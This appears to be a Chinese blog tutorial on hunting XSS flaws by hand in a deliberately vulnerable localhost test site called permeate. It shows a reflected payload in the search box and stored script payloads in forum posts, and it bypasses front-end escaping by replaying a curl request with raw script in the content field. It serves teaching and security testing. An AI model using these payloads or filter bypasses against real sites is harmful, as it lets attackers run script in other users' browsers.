阅读 1824

Web安全系列(三):XSS 攻击进阶(挖掘漏洞)

前言

在前些章节 (web安全系列(一):XSS 攻击基础及原理)以及(Web安全系列(二):XSS 攻击进阶(初探 XSS Payload))中,我详细介绍了 XSS 形成的原理以及 XSS 攻击的分类,并且编写了一个小栗子来展示出 XSS Payload 的危害。

目前来说,XSS 的漏洞类型主要分为三类:反射型、存储型、DOM型,在本篇文章当中会以permeate生态测试系统为例,分析网站功能,引导攻击思路,帮助读者能够快速找出网站可能存在的漏洞。

反射型 XSS 挖掘

现在笔者需要进行手工XSS漏洞挖掘,在手工挖掘之前笔者需要先逛逛网站有哪些功能点,如下图是permeate的界面

思路分析

我们知道反射型 XSS ,大多是通过 URL 传播的,那么我就需要思考哪些地方会出现让 URL 地址的参数在页面中显示,我相信大部分读者脑中第一直觉就是搜索栏,尤其是一些大型网站的站内搜索,搜索的关键词会展示在当前的页面中。例如某搜索引擎:

而在我们测试的首页也有网站搜索功能,因此我们可以从搜索功能着手测试,尝试是否可以进行 XSS Payload,我们先输入一个简单的 Payload 进行测试,测试代码为<img onerror="alert(1)" src=1 />

当我们点击搜索按钮时,URL 应当自动改变为 http://localhost:8888/home/search.php?keywords=<img onerror="alert(1)" src=1 />

操作过程

我们进行尝试:

先输入搜索内容

再进行搜索

我们发现,Google Chrome 居然直接阻止了该事件,Payload 也没有进行触发,这里我就需要跟读者说一下了,Chrome 浏览器的内核自带 XSS 筛选器,对于反射型 XSS 会自动进行拦截,所以尽量不要用 Chrome 进行测试,我们改用火狐继续进行测试:

果然,直接触发了我们的 Payload 。

结果分析

此 Payload 被触发,说明我们找到了一个反射型 XSS 的漏洞,当然,这种漏洞非常初级,绝大部分网站都进行了过滤操作,再加上随着浏览器功能越来越强大,浏览器自带的 XSS 筛选器变得更加智能,这种漏洞会越来越少见,下面我将会测试更为常见的存储型 XSS 的挖掘与并介绍如何绕过。

存储型 XSS 挖掘

思路分析

存储型 XSS 的攻击代码是存在服务器端,因此,我们需要找到该网站将数据存储到后端的功能,我们对此网站有了一定了解,会发现 permeate 拥有发帖和回帖功能,这正是 Web 端和后台进行沟通的渠道,所有帖子信息都会存在服务端,有了这些信息,我们可以进入板块,进行发帖操作:

进入发帖界面:

检测漏洞

我们现在标题和内容里填上初级的 Payload :123<script>alert('123')</script>

我们进行发表操作:

页面直接执行了我们的 Payload,我们点完确定,查看列表:

我们进入帖子内部,会发现如下场景:

很明显,文章主体部分的 Payload 并没有执行,这到底是怎么一回事呢?

抓包

为什么标题内容可以 Payload,主体内容不能 Payload 呢,我们打开控制台,切到Network 再来发一篇帖子看看:

我们可以看到对应的内容已经经过转义,转义分为两种,前端转义和后端转义,如果是后端转义通常我们就不需要测试下去了,因为我们不知道服务端的内部代码,如果是前端转义则可以绕过这个限制。

那么该如何操作呢?

我们拷贝出 URL

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=%3Cp%3E123%26lt%3Bscript%26gt%3Bconsole.log%28232%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed

找到其中的 title 和 content,将 content 的内容替换为 title 的内容:

curl 'http://localhost:8888/home/_fatie.php?bk=5&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://localhost:8888' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://localhost:8888/home/fatie.php?bk=5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: PHPSESSID=7690435026da386df8a80e63f3da2089' --data 'csrf_token=9191&bk=5&title=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E&content=123%3Cscript%3Econsole.log%28232%29%3C%2Fscript%3E' --compressed

替换完成之后,将此内容复制到终端进行运行:

回到主页面查看相关内容:

Payload 执行了两次,内容也被攻击了。

结果分析

看到此处说明我们已经成功绕过前端XSS过滤器,直接对内容进行修改,所以后端的转义有时候也很有必要。

总结

挖掘漏洞是一个复杂的过程,手工挖掘不失为一种可靠的方式,但是手动挖掘效率低下,有时还要看运气,目前已经出现很多自动检测 XSS 漏洞的工具以及平台,大大提高发现漏洞的效率,我将在稍后的章节中介绍一些工具以及如何防御 XSS。

最后不好意思推广一下我基于 Taro 框架写的组件库:MP-ColorUI

可以顺手 star 一下我就很开心啦,谢谢大家。

点这里是文档

点这里是 GitHUb 地址

关注下面的标签,发现更多相似文章
评论